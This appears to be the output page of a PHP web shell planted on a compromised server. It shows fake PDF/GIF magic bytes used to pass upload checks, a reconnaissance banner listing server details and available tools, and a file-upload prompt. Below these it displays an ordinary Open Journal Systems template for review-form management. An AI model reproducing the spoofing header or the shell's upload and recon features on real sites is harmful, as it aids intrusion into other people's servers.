%PDF-1.7 GIF89;
| Server IP : 104.20.45.2 / Your IP : 172.16.20.3 Web Server : Apache/2.4.25 (Debian) System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : application ( 1000) PHP Version : 5.6.40 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /app/plugins/themes/JetliJournal/templates/manager/reviewForms/ |
Upload File : |
{**
* templates/manager/reviewForms/reviewForms.tpl
*
* Copyright (c) 2003-2012 John Willinsky
* Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
*
* Display list of unpublished review forms in journal management.
*
*}
{strip}
{assign var="pageTitle" value="manager.reviewForms"}
{include file="common/header.tpl"}
{/strip}
<script type="text/javascript">
{literal}
$(document).ready(function() { setupTableDND("#dragTable", "moveReviewForm"); });
{/literal}
</script>
<p>{translate key="manager.reviewForms.list.description"}</p>
<div id="reviewForms">
<table width="100%" class="listing" id="dragTable">
<tr>
<td class="headseparator" colspan="4"> </td>
</tr>
<tr class="heading" valign="bottom">
<td width="40%">{translate key="manager.reviewForms.title"}</td>
<td width="20%">{translate key="manager.reviewForms.inReview"}</td>
<td width="15%">{translate key="manager.reviewForms.completed"}</td>
<td width="25%" align="right">{translate key="common.action"}</td>
</tr>
<tr>
<td class="headseparator" colspan="4"> </td>
</tr>
{iterate from=reviewForms item=reviewForm name=reviewForms}
{assign var=reviewFormId value=$reviewForm->getId()}
{if $completeCounts[$reviewFormId] == 0 && $incompleteCounts[$reviewFormId] == 0}
{assign var=canEdit value=1}
{else}
{assign var=canEdit value=0}
{/if}
<tr valign="top" id="reviewform-{$reviewForm->getId()}" class="data">
<td class="drag">{$reviewForm->getLocalizedTitle()|escape}</td>
<td class="drag">{$incompleteCounts[$reviewFormId]}</td>
<td class="drag">{$completeCounts[$reviewFormId]}</td>
<td align="right" class="nowrap">
{if $canEdit}<a href="{url op="editReviewForm" path=$reviewForm->getId()}" class="action">{translate key="common.edit"}</a> |{/if}
{strip}
{if $reviewForm->getActive()}
<a href="{url op="deactivateReviewForm" path=$reviewForm->getId()}" class="action">{translate key="common.deactivate"}</a>
{else}
<a href="{url op="activateReviewForm" path=$reviewForm->getId()}" class="action">{translate key="common.activate"}</a>
{/if}
|
{/strip}
{if !$canEdit}<a href="{url op="copyReviewForm" path=$reviewForm->getId()}" class="action">{translate key="common.copy"}</a> |{/if}
<a href="{url op="previewReviewForm" path=$reviewForm->getId()}" class="action">{translate key="common.preview"}</a> |
{if $canEdit}<a href="{url op="deleteReviewForm" path=$reviewForm->getId()}" onclick="return confirm('{translate|escape:"jsparam" key="manager.reviewForms.confirmDeleteUnpublished"}')" class="action">{translate key="common.delete"}</a> |{/if}
<a href="{url op="moveReviewForm" d=u id=$reviewForm->getId()}" class="action">↑</a> <a href="{url op="moveReviewForm" d=d id=$reviewForm->getId()}" class="action">↓</a>
</td>
</tr>
{/iterate}
<tr>
<td colspan="4" class="endseparator"> </td>
</tr>
{if $reviewForms->wasEmpty()}
<tr>
<td colspan="4" class="nodata">{translate key="manager.reviewForms.noneCreated"}</td>
</tr>
<tr>
<td colspan="4" class="endseparator"> </td>
</tr>
{else}
<tr>
<td colspan="2" align="left">{page_info iterator=$reviewForms}</td>
<td colspan="2" align="right">{page_links anchor="reviewForms" name="reviewForms" iterator=$reviewForms}</td>
</tr>
{/if}
</table>
<a class="action" href="{url op="createReviewForm"}">{translate key="manager.reviewForms.create"}</a>
</div>
{include file="common/footer.tpl"}